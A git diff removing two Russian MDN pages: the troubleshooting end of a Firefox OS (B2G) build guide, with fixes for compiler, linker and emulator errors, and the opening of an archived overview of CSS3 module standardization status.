-export MOZ_CHROME_MULTILOCALE="ja zh-TW"
-export PATH="$PATH:$PWD/compare-locales/scripts"
-export PYTHONPATH="$PWD/compare-locales/lib"
-</pre>
-
- <p>После того как выше написанное настроено, вы можете запустить build.sh.</p>
-
- <p>Вы можете <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=818560#c9/">use .userconfig</a> а также:</p>
-
- <pre>## Gaia
-export GAIA_DEFAULT_LOCALE=es
-export LOCALE_BASEDIR=/b2g/gaia-l10n-transifex-v1.2/
-export LOCALES_FILE=/b2g/languages_propio.json
-
-## Gecko
-export L10NBASEDIR='/b2g/gecko-l10n-v1.2'
-export MOZ_CHROME_MULTILOCALE="es-ES eu ca gl pt-BR"
-export PATH="$PATH:/b2g/compare-locales/scripts"
-export PYTHONPATH="/b2g/compare-locales/lib"
- </pre>
- </li>
-</ol>
-
-<div class="note">
-<p>Есть некоторые различия между Gaia языком и Gecko . Например, в Gaia, Spanish "es", а на Gecko tranlated к "Spanish of Spain" (es-ES)</p>
-</div>
-
-<p>Эти инструкции помогут нам сгладить многие вещи.</p>
-
-<h2 id="Известные_ошибки">Известные ошибки</h2>
-
-<h3 id="Построить_не_удалось!">"Построить не удалось!"</h3>
-
-<p><span id="cke_bm_81S" style="display: none;"> </span>Если вы получаете общем "Построить не удалось" сообщение, вы всегда должны попытаться восстановить подключение телефона к компьютеру; Иногда телефон может быть демонтирована по множеству причин.</p>
-
-<div class="note">
-<p>Обратите внимание, что настройки и создание B2G для Keon не работает на Mac. Вы должны будете использовать Linux для создания для этого устройства.<span id="cke_bm_81E" style="display: none;"> </span></p>
-</div>
-
-<h3 id="Mountain_Lion_конкретных_ошибок_сборки">Mountain Lion конкретных ошибок сборки</h3>
-
-<div>
-<p>1. Если вы строите на OS X 10.8 "Mountain Lion" (Xcode 4.4.1или выше)  и следующая ошибка:</p>
-
-<pre style="font-size: 14px;">external/qemu/android/skin/trackball.c:130:25: error: 'M_PI' undeclared (first use in this function)</pre>
-Отредактируйте файл: <code style="font-size: 14px;">B2G/external/qemu/Makefile.android</code> and add in line 78:
-
-<pre style="font-size: 14px;">MY_CFLAGS += -DM_PI=3.14159265358979323846264338327950288   #/* B2G_fix: not finding M_PI constant */
-</pre>
-</div>
-
-<div>2.  Если вы находитесь на Mountain Lion, и вы получаете ошибка во время ./build.sh like:</div>
-
-<div>
-<pre>/System/Library/Frameworks/IOKit.framework/Headers/usb/USB.h:797:9: error: too many #pragma options align=reset</pre>
-
-<p>Замените все экземпляры на '#pragma options align=reset' with '#pragma pack()' inside /System/Library/Frameworks/IOKit.framework/Headers/usb/USB.h</p>
-</div>
-
-<h3 id="Неопределенные_символы__sqlite3_androidopt_handle_pragma_и__sqlite3_androidopt_open">Неопределенные символы "_sqlite3_androidopt_handle_pragma" и "_sqlite3_androidopt_open"</h3>
-
-<p>Эта ошибка появляется, если вы строите на OS X 10.7  или более новую версию с Xcode 4.5  или более поздней версии. Чтобы исправить это, примените патч на <a href="https://groups.google.com/forum/#!msg/android-building/yAfPyUqCsiQ/7zvICk4GWjYJ">https://groups.google.com/forum/#!msg/android-building/yAfPyUqCsiQ/7zvICk4GWjYJ</a> для external/sqlite/dist/Android.mk файл.</p>
-
-<h3 id="KeyedVector.h19331_error_indexOfKey_не_был_объявлен_в_этой_области">KeyedVector.h:193:31: error: indexOfKey не был объявлен в этой области</h3>
-
-<p>Эта ошибка появляется, когда ваша версия GCC слишком новая. Установите gcc/g++/g++-multilib 4.6.x versions. Увидеть <a href="/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file" title="Mozilla/Firefox_OS/Customization_with_the_.userconfig_file">Customizing with the .userconfig file</a> для получения дополнительной информации.</p>
-
-<div class="note">
-<p>Сообщество Примечание: Можно использовать gcc 4.7.x  с небольшими изменениями в коде B2G (GCC поможет вам), но вы не получите никакой помощи! Ни с изменения кода, ни с ошибками не встретите.</p>
-</div>
-
-<h3 id="arm-linux-androideabi-g_Internal_error_Killed_program_cc1plus">arm-linux-androideabi-g++: Internal error: Killed (program cc1plus)</h3>
-
-<p>Если вы видите это сообщение, скорее всего это означает, что свободной памяти не хватает. Убедитесь, что имеется достаточно свободной памяти перед запуском <code>./build.sh</code>. Это должен работать нормально, если ваша система имеет 4GB of RAM.</p>
-
-<h3 id="...is_referenced_by_DSO_ошибка">"...is referenced by DSO" ошибка</h3>
-
-<p>При создании эмулятора, если вы получаете /usr/bin/ld: out/host/linux-x86/obj/EXECUTABLES/triangleCM_intermediates/triangleCM:  скрытый символ `_XGetRequest' in out/host/linux-x86/obj/STATIC_LIBRARIES/libSDL_intermediates/libSDL.a(SDL_x11dyn.o)  ссылается DSO.</p>
-
-<p>Вы можете получить это с некоторыми версиями в Binutils. Если вы запустите Debian Stable, вы можете использовать <em>gold</em> линкер путем установки пакета <code>binutils-gold</code>.  Следует отметить, что <em>gold</em> линкер уже установлены <code>binutils</code>, но это не используется default; <code>binutils-gold</code>  делает именно это.</p>
-
-<h3 id="Если_вы_получаете_ошибки_построения_в_то_время_как_система_сборки_выполняет_тесты">Если вы получаете ошибки построения в то время как система сборки выполняет тесты</h3>
-
-<p>Иногда (особенно после сборки инструмента или обновления операционной системы) вы получите странные ошибки, как это, когда система сборки работает его испытания после сборки:</p>
-
-<pre>Generating permissions.sqlite...
-test -d profile || mkdir -p profile
-run-js-command permissions
-WARNING: permission unknown:offline-app
-WARNING: permission unknown:indexedDB-unlimited
-build/permissions.js:122: NS_ERROR_UNEXPECTED: Component returned failure code: 0x8000ffff (NS_ERROR_UNEXPECTED) [nsIPermissionManager.add]
-make[1]: *** [permissions] Error 3
-make: *** [gaia/profile.tar.gz] Error 2</pre>
-
-<p>В этой ситуации, попробуйте удалить <code>gaia/xulrunner-sdk</code> каталог и повторно потянув код:</p>
-
-<pre>rm -r gaia/xulrunner-sdk
-</pre>
-
-<p>Это удаляет загруженный, предварительно скомпилированную копию <a href="/en-US/docs/XULRunner" title="/en-US/docs/XULRunner">XULRunner</a> которую система сборки извлекает автоматически; на следующей сборке, новой копии XULRunner будет автоматически восстановлен.</p>
-
-<h3 id="Не_удалось_получить_platformlibcore">Не удалось получить platform/libcore</h3>
-
-<p>Если вы пытались настроить ваш B2G построенный для Nexus S (<code>./config.sh nexus-s</code>) и получили ошибку, связанную с libcore, это из-за проблем с Линаро Git, которая кормится тут. Это исправит, проверка на B2G манифест, вот так:</p>
-
-<pre class="brush: bash">git clone https://github.com/mozilla-b2g/b2g-manifest.git</pre>
-
-<p>Редактировать <code>nexus-s.xml</code> подать в этом репо, заменяя запись Линаро Git со ссылкой на AOSP ходом, который следует читать както так:</p>
-
-<pre class="brush: xml">&lt;default revision="refs/tags/android-4.0.4_r1.2"
- remote="aosp"
- sync-j="4" /&gt;</pre>
-
-<p>Фиксировать эти изменения (<code>git commit -a</code>) а затем изменить <code>config.sh</code> подать в главном отделении главного B2G репо, что вы проверили, чтобы указать на модифицированной местного манифеста вместо Mozilla одного:</p>
-
-<pre class="brush: bash">GITREPO=${GITREPO:-"file:///home/path/to/my/b2g-manifest"}</pre>
-
-<h3 id="Clang_ошибки_при_сборке_Xcode_5_on_Mac">Clang ошибки при сборке Xcode 5 on Mac</h3>
-
-<p>Если вы строите на Mac OS X 10.8 with Xcode 5,  Вы, вероятно, увидите следующие ошибки:</p>
-
-<pre class="brush: bash">clang: error: argument unused during compilation: '-include system/core/include/arch/darwin-x86/AndroidConfig.h'
-clang: error: argument unused during compilation: '-U DEBUG'
-clang: error: argument unused during compilation: '-U DEBUG'
-clang: error: argument unused during compilation: '-MF out/host/darwin-x86/obj/EXECUTABLES/obbtool_intermediates/Main.d'
-make: *** [out/host/darwin-x86/obj/EXECUTABLES/obbtool_intermediates/Main.o] Error 1</pre>
-
-<p>Это происходит потому, Xcode 5 changes the g++ compiler in <code>/usr/bin</code>, который тормозит процесс сборки, если вы пытаетесь использовать его для компиляции. Для того, чтобы обойти эту проблему, измените следующую строку в <code>build/core/combo/HOST_darwin-x86.mk:</code></p>
-
-<pre class="brush: bash">HOST_CXX := g++</pre>
-
-<p>для</p>
-
-<pre class="brush: bash">HOST_CXX := g++-4.6
-ifeq (,$(wildcard /usr/local/bin/g++-4.6))
- HOST_CXX := g++
-endif</pre>
-
-<p>Далее необходимо удалить gcc, используя настройку (это предполагает, вы запустите <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites#Run_Firefox_OS_Mac_Bootstrap">Mac OS bootstrap script</a> —  если нет, то вы должны будете заполнить этот шаг, прежде чем продолжить):</p>
-
-<pre class="brush: bash">brew uninstall gcc-4.6</pre>
-
-<p>Теперь тоже самое gcc с мультибиблиотеки и c++  поддержка:</p>
-
-<pre class="brush: bash">brew install --enable-cxx https://gist.github.com/artlogic/6988658/raw/aeb9d1ea098274ad3f3fe2637b9df7f308a8a120/gcc-4.6.rb</pre>
-
-<p>Убедитесь /usr/local/bin  на вашей PATH.  Вы можете сделать это временно, набрав следующую команду в командной  подсказке:</p>
-
-<pre class="brush: bash">export PATH=/usr/local/bin:$PATH</pre>
-
-<p>Вы можете сделать выше изложенное изменение постоянными, добавив его  <code>.bash_profile</code> файл в домашнем каталоге.</p>
-
-<p>После того как вы установите PATH, убедитесь, что вы можете запустить обе из следующих команд:</p>
-
-<pre class="brush: bash">gcc-4.6 -v
-
-g++-4.6 -v</pre>
-
-<p>Если какой-либо из этих команд выпадет, то Вам потребуется заново связать ваш gcc using brew с помощью следующей команды:</p>
-
-<pre class="brush: bash">brew link --overwrite gcc-4.6</pre>
-
-<p>Это также возможно, что <code>/usr/bin/c++</code> не указывает на clang++ как это и должно быть с Xcode 5 installed. Вы можете определить это, введя следующее:</p>
-
-<pre class="brush: bash">ls -l /usr/bin/c++</pre>
-
-<p>Она должна возвращать что-то вроде этого:</p>
-
-<pre class="brush: bash">lrwxr-xr-x 1 root admin 7 Sep 19 11:40 /usr/bin/c++ -&gt; clang++
-</pre>
-
-<p>Если c++ указывает на нечто иное, чем clang++, обновить с помощью следующих команд:</p>
-
-<pre class="brush: bash">sudo rm /usr/bin/c++
-
-sudo ln -s /usr/bin/clang++ /usr/bin/c++</pre>
-
-<h3 id="Невозможно_вытянуть_файлы_из_резервной_копии_каталога">Невозможно вытянуть файлы из резервной копии каталога</h3>
-
-<p>Это может произойти, когда соединение USB не работает, а сценарий извлекает данные от устройства к компьютеру.</p>
-
-<p>Когда вы запустите скрипт еще раз, вы, вероятно, получите следующее (пример для пик устройства):</p>
-
-<pre class="brush: bash"><code>Pulling files from ../../../backup-peak
-cat: ../../../backup-peak/system/build.prop: No such file or directory
-Found firmware with build ID
-Pulling "libaudioeq.so"
-cp: cannot stat `../../../backup-peak/system/lib/libaudioeq.so': No such file or directory
-Failed to pull libaudioeq.so. Giving up.
-
-&gt; Build failed! &lt;
-
-Build with |./build.sh -j1| for better messages
-If all else fails, use |rm -rf objdir-gecko| to clobber gecko and |rm -rf out| to clobber everything else.</code></pre>
-
-<p>Чтобы решить эту проблему, это не нужно вынимать всю objdir-gecko  из каталогов. Просто удалите каталог для резервного копирования, как это (для примера выше):</p>
-
-<pre class="brush: bash"><code class="brush: bash">$rm -rf backup-peak</code></pre>
-
-<h3 id="Вопросы_Эмулятор_сборки"><strong>Вопросы Эмулятор сборки</strong></h3>
-
-<p>Если вы делаете эмулятор построение, нужно обратить внимание на эти вопросы:</p>
-
-<div class="note">
-<p><strong>Во-первых, обратите внимание, что вы не должны использовать эмулятор x86 - это трудно установить и не очень хорошо поддерживается.</strong></p>
-</div>
-
-<p>Далее, сборка-система для эмулятора строит как 32-битные, так и 64-битные версии эмулятора. Так, как эмулятор зависит от OpenGL, означает, что вы должны иметь как 32-битные, так и 64-битные версии OpenGL  библиотеки установленые в вашей системе. Смотрите обсуждение в <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=897727" title="https://bugzilla.mozilla.org/show_bug.cgi?id=897727">bug 897727</a>.</p>
-
-<p>Есть два способа, которыми вы можете решить эту проблему:</p>
-
-<h4 id="Решение_1_оба_32bit_и_64bit_OpenGL_установлен_LIBS_с_правом_символические_ссылки">Решение #1: оба 32bit и 64bit OpenGL  установлен LIBS, с правом  символические ссылки</h4>
-
-<p>Если ваш Linux дистрибутив имеет мультибиблиотечные пакеты для OpenGL libraries, вы можете попытаться установить их. Затем вам придется вручную создать некоторые символические ссылки.</p>
-
-<p>Например, вот ситуация на Ubuntu 12.04 LTS x86-64. На этом распределении, <code>libgl1-mesa-dev</code> package  не может быть установлен одновременно в x86-64 и i386 версии, но вы можете иметь следующая комбинация пакетов одновременно установлены:</p>
-
-<pre class="bz_comment_text" id="comment_text_12">sudo apt-get install libgl1-mesa-dev libglapi-mesa:i386 libgl1-mesa-glx:i386</pre>
-
-<p>После выполнения этой команды вам все равно придется вручную создать несколько символических ссылок для эмулятора, строят, чтобы добиться успеха:</p>
-
-<pre class="note">sudo ln -s /usr/lib/i386-linux-gnu/libX11.so.6 /usr/lib/i386-linux-gnu/libX11.so
-sudo ln -s /usr/lib/i386-linux-gnu/mesa/libGL.so.1 /usr/lib/i386-linux-gnu/libGL.so</pre>
-
-<h4 id="Решение_2_просто_патч_эмулятор_так_это_только_создает_64bit">Решение #2:  просто патч эмулятор так это только создает 64bit</h4>
-
-<p>Просто внесите <a href="https://bug897727.bugzilla.mozilla.org/attachment.cgi?id=786280" title="https://bug897727.bugzilla.mozilla.org/attachment.cgi?id=786280">this patch</a> для sdk/ git repository под B2G repo.  Это приведет B2G emulator к попыткам построить 64bit emulator только если вы находитесь на 64bit system,  Таким образом, избегая каких-либо проблем с мультибиблиотекой. 32bit emulator в любом случае не должен использоваться на 64bit system. Это не простое решение, до этого патча в конечном итоге bit-rots.</p>
-
-<h2 id="Следующий_шаг">Следующий шаг</h2>
-
-<p>После создания, ваш следующий шаг зависит от того, как вы построили Boot на Gecko или эмулятор или для реального мобильного устройства; детали в следующих статьях:</p>
-
-<ul>
- <li><a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_emulators" title="Mozilla/Firefox_OS/Using_the_B2G_emulators">Using the B2G emulators</a></li>
- <li><a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_desktop_client" title="Mozilla/Firefox_OS/Using_the_B2G_desktop_client">Using the B2G desktop client</a></li>
- <li><a href="/en-US/docs/Mozilla/Firefox_OS/Installing_on_a_mobile_device" title="Mozilla/Firefox_OS/Installing_on_a_mobile_device">Installing Boot to Gecko on a mobile device</a></li>
- <li><a href="/en-US/docs/Mozilla/Firefox_OS/Pandaboard" title="Mozilla/Firefox_OS/Pandaboard">Installing Boot to Gecko on a pandaboard</a></li>
-</ul>
-</div>
-
-<h3 id="Отправка_ошибок_на_B2GFirefox_OSGaia">Отправка ошибок на B2G/Firefox OS/Gaia</h3>
-
-<p>После того как вы получили B2G/Firefox OS построение работает, вы начнете подавать ошибки против этой конкретной версии, Firefox OS сообщество может улучшить положение вещей как можно более эффективно. Вы хотите, чтобы <a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Firefox%20OS">file the bug on Bugzilla</a>, вместе "Firefox OS" проект, дадут включить специфику версии:</p>
-
-<ol>
- <li>Для начала, расскажите основной номер версии, e.g. <em>1.4.0.0-prerelease</em>. Это может быть найдено на устройстве  <em>Settings &gt; Device Information</em>.</li>
- <li>Вы можете предоставить более конкретные идентификаторы версий, вернувшихся из текущих хэшей в gaia и gecko repositories. Это может быть сделано как так:
- <pre class="brush: bash">#!/bin/bash
-(cd gaia; echo "gaia $(git rev-parse HEAD)")
-(cd gecko; echo "gecko $(git rev-parse HEAD)")</pre>
- </li>
-</ol>
diff --git a/files/ru/archive/css3/index.html b/files/ru/archive/css3/index.html
deleted file mode 100644
index fd4945adf6..0000000000
--- a/files/ru/archive/css3/index.html
+++ /dev/null
@@ -1,974 +0,0 @@
----
-title: CSS3
-slug: Archive/CSS3
-tags:
- - CSS
- - Intermediate
- - Справочник по CSS
-translation_of: Archive/CSS3
----
-<p><span class="seoSummary"><strong>CSS3</strong> это последнее эволюционное изменение языка <em>Cascading Style Sheets</em>, и оно направлено на расширение CSS2.1. Оно привносит давно ожидаемые новшества, такие как закруглённые углы, тени, <a href="/ru//docs/Web/Guide/CSS/Using_CSS_gradients" title="Using CSS gradients">градиенты</a>, <a href="/ru/docs/Web/Guide/CSS/CSS_transitions" title="CSS transitions">переходы</a> или <a href="/ru/docs/Web/Guide/CSS/Using_CSS_animations" title="CSS animations">анимация</a>, а также новые макеты, такие как <a href="/ru/docs/Web/Guide/CSS/Using_multi-column_layouts" title="Using CSS multi-column layouts">multi-columns</a>, «резиновый» дизайн или сеточный макет.</span> Экспериментальный функционал помечен специальными префиксами разработчика, и он не должен использоваться в производственной среде, либо должен использоваться с особой осторожностью, так как его синтаксис и поведение может быть изменено в будущем.</p>
-
-<h2 id="Модули_и_процесс_стандартизации">Модули и процесс стандартизации</h2>
-
-<p>CSS Level 2 потребовалось 9 лет, с августа 2002 до июня 2011, чтобы получить статус рекомендации. Это случилось по причине того, что несколько вторичных особенностей задерживали всю спецификацию. Чтобы ускорить стандартизацию беспроблемных частей, <a class="external" href="http://www.w3.org/blog/CSS/" title="http://www.w3.org/blog/CSS/">Рабочая группа CSS</a> W3C в своём решении известном как <a class="external" href="http://fantasai.inkedblade.net/weblog/2011/inside-csswg/modules" title="http://fantasai.inkedblade.net/weblog/2011/inside-csswg/modules">Пекинская доктрина</a>, разделила CSS на меньшие компоненты, называемые <em>модулями</em>. Каждый из таких модулей теперь является независимой частью языка и проходит стандартизацию в своем темпе, независимо от других частей. Когда одни модули уже имеют статус рекомендации W3C, другие всё ещё находятся в стадии разработки. Так же появляются новые модули, когда в этом есть необходимость.</p>
-
-<p><a href="/@api/deki/files/6120/=CSS_Modules_and_Snapshots.png" title="CSS_Modules_and_Snapshots.png"><img alt="CSS Modules and Snapshots as defined since CSS3" class="internal lwrap" src="/files/3623/CSS_Modules_and_Snapshots.png" style="float: left; width: 550px;"> </a> Официально не существует стандарта CSS3 как такового. Каждый модуль стандартизируется независимо, стандарт CSS состоит из CSS2.1 с поправками и расширяется завершенными модулями, необязательно с одинаковым номером уровня. В каждый момент времени может быть определён снэпшот стандарта CSS, состоящий из CSS2.1 и набора сформировавшихся модулей.</p>
-
-<p>Консорциум W3 периодически публикует такие снэпшоты, как в <a class="external" href="http://www.w3.org/TR/css-beijing/" title="http://www.w3.org/TR/css-beijing/">2007</a> или <a class="external" href="http://www.w3.org/TR/css-2010/" title="http://www.w3.org/TR/css-2010/">2010.</a></p>
-
-<p>Хотя на сегодняшний день нет стандартизованных модулей с уровнем выше чем 3, это изменится в будущем. Некоторые модули, такие как Selectors 4 или CSS Borders and Backgrounds Level 4, уже имеют редакторский набросок, хотя и не имеют статуса Первого Опубликованного Рабочего Наброска.</p>
-
-<h2 id="Статус_модулей_CSS">Статус модулей CSS</h2>
-
-<h3 id="Стабильные_модули">Стабильные модули</h3>
-
-<p>Несколько модулей CSS уже достаточно стабильны и достигли одного из трёх уровней рекомендации CSSWG: Кандидат в рекомендации, Предлагаемый к рекомендации и Рекомендован. Они могут быть использованы без префиксов и достаточно стабильны, хотя некоторые фичи могуть не пройти стадию Кандидат в рекомендации.</p>
-
-<p>Эти модули расширяют и исправляют CSS2.1, составляя ядро спецификации. Вместе с ними, они составляют текущий снэпшот спецификации CSS.</p>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td class="thirdColumn greenBg"><strong>{{ SpecName("CSS3 Colors", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Colors") }} с 7 июня 2011</td>
- </tr>
- <tr>
- <td colspan="2">
- <p>Добавляет свойство {{ cssxref("opacity") }} и функции <code>hsl</code><code>()</code>, <code>hsla()</code>, <code>rgba()</code>, <code>rgb()</code> для создания значений {{cssxref("&lt;color&gt;")}}. Также определяет ключевое слово <code>currentColor</code> как цвет.</p>
-
- <p>Цвет <code>transparent</code> теперь настоящий цвет (благодаря поддержке альфа-канала) и является псевдонимом для <code>rgba(0,0,0,0.0)</code> .</p>
-
- <p>Объявляет устаревшими <a href="http://www.w3.org/TR/CSS2/ui.html#system-colors">ключевые слова системных цветов, теперь они не должны использоваться в реальных проектах</a>.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(128,255,128);"><strong>{{ SpecName("CSS3 Selectors", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Selectors") }} с 29 сентября 2011</td>
- </tr>
- <tr>
- <td colspan="2">
- <p>Добавлено:</p>
-
- <ul>
- <li>Атрибут селектора для сравнения подстрок, <code>E[attribute^="value"]</code>, <code>E[attribute$="value"]</code>, <code>E[attribute*="value"]</code> .</li>
- <li>Новые псевдо-классы: {{ cssxref(":target") }}, {{ cssxref(":enabled") }} и {{ cssxref(":disabled") }}, {{ cssxref(":checked") }}, {{ cssxref(":indeterminate") }}, {{ cssxref(":root") }}, {{ cssxref(":nth-child") }} и {{ cssxref(":nth-last-child") }}, {{ cssxref(":nth-of-type") }} и {{ cssxref(":nth-last-of-type") }}, {{ cssxref(":last-child") }}, {{ cssxref(":first-of-type") }} и {{ cssxref(":last-of-type") }}, {{ cssxref(":only-child") }} и {{ cssxref(":only-of-type") }},{{ cssxref(":empty") }}, и {{ cssxref(":not") }}.</li>
- <li>Псевдо-элементы теперь обозначаются двумя двоеточиями вместо одного: было <code>:after</code> — стало {{ cssxref("::after") }}, <code>:before</code> стало {{ cssxref("::before") }}, <code>:first-letter</code> стало {{ cssxref("::first-letter") }},  <code>и :first-line</code> стало {{ cssxref("::first-line") }}.</li>
- <li>Новый <em>general sibling combinator</em> ( <code>h1~pre</code> ).</li>
- </ul>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p><a class="external" href="http://dev.w3.org/csswg/selectors4/" title="http://dev.w3.org/csswg/selectors4/">Следующая итерация спецификации Селекторов</a> уже создаётся, хотя она всё ещё не получила статус Первого Публичного Рабочего Черновика.</p>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(128,255,128);"><strong>{{ SpecName("CSS3 Namespaces", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Namespaces") }} с 29 сентября 2011</td>
- </tr>
- <tr>
- <td colspan="2">
- <p>Adds the support for the XML Namespaces by defining the notion of <em>CSS qualified name</em>, using the ' <code>|</code> ' syntax and adding the {{ cssxref("@namespace") }} CSS at-rule.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(128,255,128);"><strong>{{ SpecName("CSS3 Media Queries", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Media Queries") }} с 19 июня 2012</td>
- </tr>
- <tr>
- <td colspan="2">
- <p>Исходные типы media (такие как <code>print</code>, <code>screen </code>и тд.) расширяются до полноценного языка, позволяющего выполнять запросы на определение параметров устройства просмотра. Например, <code>like only screen and (color)</code>.</p>
-
- <p>Медиа-запросы применяются не только в CSS, но также в атрибутах некоторых HTML элементов. Например, {{ htmlattrxref("media","link") }} для тега {{ HTMLElement("link") }}.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>The <a href="http://dev.w3.org/csswg/mediaqueries4" title="http://dev.w3.org/csswg/mediaqueries4">next iteration of this specification</a> is in the work, allowing to tailor a Web site regarding the input methods available on the user agent, with new media features like <code>hover</code> or <code>pointer</code>. Detection of EcmaScript support, using the <code>script</code> media features is also proposed.</p>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(128,255,128);"><strong>{{ SpecName("CSS3 Style", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Style") }} since November 7th, 2013</td>
- </tr>
- <tr>
- <td colspan="2">Formally defines the syntax of the content of the HTML <a href="/ru/HTML/Global_attributes#attr-style" title="ru/HTML/Global_attributes#attr-style"> <code>style</code> </a> global attribute.</td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS3 Backgrounds", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Backgrounds") }}</td>
- </tr>
- <tr>
- <td colspan="2">
- <p>Adds:</p>
-
- <ul>
- <li>Support, on backgrounds, for any type of {{cssxref("&lt;image&gt;")}}, and not only for <code>uri()</code> defined ones.</li>
- <li>Support for multiple background images.</li>
- <li>The {{ cssxref("background-repeat") }} <code>space</code> and <code>round</code> values, and for the 2-value syntax of this CSS property.</li>
- <li>The {{ cssxref("background-attachment") }} <code>local</code> value.</li>
- <li>The CSS {{ cssxref("background-origin") }}, {{ cssxref("background-size") }}, and {{ cssxref("background-clip") }} properties.</li>
- <li>Support for curved border corners, with the CSS {{ cssxref("border-radius") }}, {{ cssxref("border-top-left-radius") }}, {{ cssxref("border-top-right-radius") }}, {{ cssxref("border-bottom-left-radius") }}, and {{ cssxref("border-bottom-right-radius") }} properties.</li>
- <li>Support for the use of an {{cssxref("&lt;image&gt;")}} as the border with the CSS {{ cssxref("border-image") }}, {{ cssxref("border-image-source") }}, {{ cssxref("border-image-slice") }}, {{ cssxref("border-image-width") }}, {{ cssxref("border-image-outset") }}, and {{ cssxref("border-image-repeat") }} properties.</li>
- <li>Support for shadows of the element with the CSS {{ cssxref("box-shadow") }} property.</li>
- </ul>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>The <a class="external" href="http://dev.w3.org/csswg/css4-background/" title="http://dev.w3.org/csswg/css4-background/">CSS4 iteration of the Backgrounds and Borders specification</a> is already in progress, though it still hasn't reached the First Public Working Draft stage, it plans to add the ability to clip a border (with the CSS {{ cssxref("border-clip") }}, {{ cssxref("border-clip-top") }}, {{ cssxref("border-clip-right") }}, {{ cssxref("border-clip-bottom") }}, and {{ cssxref("border-clip-left") }} properties) or to control the shape of the border in a corner (using the CSS {{ cssxref("border-corner-shape") }} property).</p>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS3 Multicol", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Multicol") }}</td>
- </tr>
- <tr>
- <td colspan="2">Adds support for easy multi-column layouts using the CSS {{ cssxref("columns") }}, {{ cssxref("column-count") }}, {{ cssxref("column-fill") }}, {{ cssxref("column-gap") }}, {{ cssxref("column-rule") }}, {{ cssxref("column-rule-color") }}, {{ cssxref("column-rule-style") }}, {{ cssxref("column-rule-width") }}, {{ cssxref("column-span") }}, {{ cssxref("column-width") }}, {{ cssxref("break-after") }}, {{ cssxref("break-before") }}, and {{ cssxref("break-inside") }}.</td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table" style="width: 100%;">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS3 Speech", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Speech") }}</td>
- </tr>
- <tr>
- <td colspan="2">Defines the <code>speech</code> media type, an aural formatting model and numerous properties specific for speech-rendering user agents.</td>
- </tr>
- </tbody>
-</table>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS3 Images", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Images") }}</td>
- </tr>
- <tr>
- <td colspan="2">
- <p>Defines the {{cssxref("&lt;image&gt;")}} data type.</p>
-
- <p>Extends the <code>url()</code> syntax to support image slices using media fragments.</p>
-
- <p>Adds:</p>
-
- <ul>
- <li>The <code>dppx</code> unit to the {{cssxref("&lt;resolution&gt;")}} data type.</li>
- <li>The <code>image()</code> function as a more flexible alternative to <code>url()</code> to define an image from an url.<br>
- <em><strong>At risk</strong> </em> <strong> <em>:</em> </strong> <em> due to insufficient browser support, standardization of the <code>image()</code> function may be postponed to </em> <em>the next iteration of this module</em> <em>.</em></li>
- <li>Support for <code>linear-gradient()</code>, <code>repeating-linear-gradient()</code>, <code>radial-gradient()</code> and <code>repeating-radial-gradient()</code>.</li>
- <li>The ability to define how a replaced element should fit in its element, using the CSS {{ cssxref("object-fit") }} property.<br>
- <em><strong>At risk</strong> </em> <strong> <em>:</em> </strong> <em> due to insufficient browser support, standardization of the {{ cssxref("object-fit") }} and property may be postponed to </em> <em>the next iteration of this module</em> <em>.</em></li>
- <li>The ability to override the resolution and orientation of an external image using the CSS {{ cssxref("image-resolution") }} and {{ cssxref("image-orientation") }} properties.<br>
- <em><strong>At risk</strong> </em> <strong> <em>:</em> </strong> <em> due to insufficient browser support, standardization of the {{ cssxref("image-resolution") }} and {{ cssxref("image-orientation") }} properties may be postponed to </em> <em>the next iteration of this module</em> <em>.</em></li>
- </ul>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>The <a href="#Images_(Level_4)">CSS Image Values and Replaced Content Level 4</a> which will supersede CSS Image Level 3 is in development and is a {{Spec2("CSS4 Images")}}.</p>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <td style="width: 30%; background-color: rgb(220, 255, 220);"><strong>{{ SpecName("CSS3 Values", "", "") }}</strong></td>
- <td>{{ Spec2("CSS3 Values") }}</td>
- </tr>
- <tr>
- <td colspan="2">
- <p>Makes <code>initial</code> and <code>inherit</code> keywords usable on any CSS property.</p>
-
- <p>Formally defines the CSS data types of CSS 2.1, that were implicitely defined by their grammar token and some textual precisions.</p>
-
- <p>Adds:</p>
-
- <ul>
- <li>Definition for new font-relative length units: <code>rem</code> and <code>ch</code> .</li>
